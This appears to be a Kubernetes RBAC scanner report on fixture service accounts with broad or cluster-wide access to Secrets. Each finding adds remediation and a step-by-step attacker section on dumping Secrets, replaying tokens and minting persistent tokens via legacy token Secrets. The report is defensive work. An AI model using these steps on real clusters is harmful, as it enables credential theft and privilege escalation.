Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=sa-lp-wildcard -n lp-fixtures returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeNamespace
Namespacelp-fixtures
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source roler-lp-wildcard
Inspect: kubectl get role r-lp-wildcard -n lp-fixtures -o yaml
Source bindingrb-lp-wildcard
Inspect: kubectl get rolebinding rb-lp-wildcard -n lp-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "lp-fixtures",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "rb-lp-wildcard",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-lp-wildcard",
  "source_role_kind": "Role",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Namespace 9.8
Namespace secrets-bundle-target only list/watch access to Secrets enumerates every Secret on ServiceAccount/secrets-bundle/cross-ns-reader
Scope · Namespace Namespace secrets-bundle-target only
Category: Data Exfiltration Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: RBACRule/secrets-bundle-target/secrets-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader can list or watch core secrets via RoleBinding secrets-bundle-target/cross-ns-secrets-read → Role secrets-bundle-target/secrets-reader. Namespace secrets-bundle-target only.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Namespace secrets-bundle-target only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/secrets-bundle/cross-ns-reader (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=cross-ns-reader -n secrets-bundle-target returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeNamespace
Namespacesecrets-bundle-target
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsgetlist
Source rolesecrets-reader
Inspect: kubectl get role secrets-reader -n secrets-bundle-target -o yaml
Source bindingcross-ns-secrets-read
Inspect: kubectl get rolebinding cross-ns-secrets-read -n secrets-bundle-target -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "secrets-bundle-target",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "cross-ns-secrets-read",
  "source_binding_kind": "RoleBinding",
  "source_role": "secrets-reader",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list"
  ]
}
HIGH

Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-mint

KUBE-PRIVESC-006 3 subjects Score 10.0–7.6
MITRE ATT&CK: T1552.007T1528T1078.004

Affected subjects (3)

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 10.0
Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-mint
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: RBACRule/cr-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint can get core secrets via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint. Cluster-wide: applies to every current and future namespace.

get returns the full Secret object, including the base64-encoded data payload, for any Secret whose name the caller knows. It is narrower than list/watch (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (<app>-tls, <app>-db, default-token-*, registry pull secrets) and are often discoverable from pod specs, so get alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.

Cluster-wide get reaches kube-system ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.

Impact Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-mint and confirms the verb with kubectl auth can-i get secrets --as=sa-secret-mint -A.
  2. They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.
  3. They kubectl get secret <name> -o yaml and base64-decode the data fields.
  4. They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding.
Remediation
Scope get on secrets by resourceNames to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.
  1. Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, scope the rule by resourceNames to the exact Secret name(s). Never grant get on all secrets.
  3. Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.
  4. Verify with kubectl auth can-i get secrets --as=sa-secret-mint -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbscreateget
create: Create new objects of this resource
Source rolecr-secret-mint
Inspect: kubectl get clusterrole cr-secret-mint -o yaml
Source bindingcrb-secret-mint
Inspect: kubectl get clusterrolebinding crb-secret-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-secret-read Cluster 10.0
Cluster-wide get access to Secrets on ServiceAccount/privesc-fixtures/sa-secret-read
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-read Resource: RBACRule/cr-secret-read

Subject ServiceAccount/privesc-fixtures/sa-secret-read can get core secrets via ClusterRoleBinding crb-secret-read → ClusterRole cr-secret-read. Cluster-wide: applies to every current and future namespace.

get returns the full Secret object, including the base64-encoded data payload, for any Secret whose name the caller knows. It is narrower than list/watch (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (<app>-tls, <app>-db, default-token-*, registry pull secrets) and are often discoverable from pod specs, so get alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.

Cluster-wide get reaches kube-system ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.

Impact Cluster-wide read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/privesc-fixtures/sa-secret-read and confirms the verb with kubectl auth can-i get secrets --as=sa-secret-read -A.
  2. They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.
  3. They kubectl get secret <name> -o yaml and base64-decode the data fields.
  4. They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding.
Remediation
Scope get on secrets by resourceNames to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.
  1. Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, scope the rule by resourceNames to the exact Secret name(s). Never grant get on all secrets.
  3. Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.
  4. Verify with kubectl auth can-i get secrets --as=sa-secret-read -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsget
Source rolecr-secret-read
Inspect: kubectl get clusterrole cr-secret-read -o yaml
Source bindingcrb-secret-read
Inspect: kubectl get clusterrolebinding crb-secret-read -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-read",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-read",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get"
  ]
}
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator Namespace 7.6
Namespace hookbackend-fixtures only get access to Secrets on ServiceAccount/hookbackend-fixtures/hookbackend-operator
Scope · Namespace Namespace hookbackend-fixtures only
Category: Data Exfiltration Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator Resource: RBACRule/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can get core secrets via RoleBinding hookbackend-fixtures/hookbackend-operator → Role hookbackend-fixtures/hookbackend-operator. Namespace hookbackend-fixtures only.

get returns the full Secret object, including the base64-encoded data payload, for any Secret whose name the caller knows. It is narrower than list/watch (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (<app>-tls, <app>-db, default-token-*, registry pull secrets) and are often discoverable from pod specs, so get alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.

Cluster-wide get reaches kube-system ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.

Impact Namespace hookbackend-fixtures only read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/hookbackend-fixtures/hookbackend-operator and confirms the verb with kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures.
  2. They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.
  3. They kubectl get secret <name> -o yaml and base64-decode the data fields.
  4. They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding.
Remediation
Scope get on secrets by resourceNames to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.
  1. Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, scope the rule by resourceNames to the exact Secret name(s). Never grant get on all secrets.
  3. Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.
  4. Verify with kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures returning no.
Evidence
ScopeNamespace
Namespacehookbackend-fixtures
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsget
Source rolehookbackend-operator
Inspect: kubectl get role hookbackend-operator -n hookbackend-fixtures -o yaml
Source bindinghookbackend-operator
Inspect: kubectl get rolebinding hookbackend-operator -n hookbackend-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "hookbackend-fixtures",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "hookbackend-operator",
  "source_binding_kind": "RoleBinding",
  "source_role": "hookbackend-operator",
  "source_role_kind": "Role",
  "verbs": [
    "get"
  ]
}
HIGH

Cluster-wide create+get on Secrets mints a ServiceAccount token

KUBE-PRIVESC-007 10 subjects Score 10.0–9.6
MITRE ATT&CK: T1098.001T1528T1552.007

Affected subjects (10)

HIGH ServiceAccount/cert-manager/cert-manager Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/cert-manager/cert-manager)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager can both create Secrets (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=cert-manager -A and kubectl auth can-i get secrets --as=cert-manager -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=cert-manager -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/cutres/cutres-detour Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/cutres/cutres-detour)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour can both create Secrets (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=cutres-detour -A and kubectl auth can-i get secrets --as=cutres-detour -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=cutres-detour -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/cutres/cutres-parallel Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/cutres/cutres-parallel)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel can both create Secrets (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=cutres-parallel -A and kubectl auth can-i get secrets --as=cutres-parallel -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=cutres-parallel -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/deepchain-tenant/deepchain-privileged)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged can both create Secrets (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=deepchain-privileged -A and kubectl auth can-i get secrets --as=deepchain-privileged -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
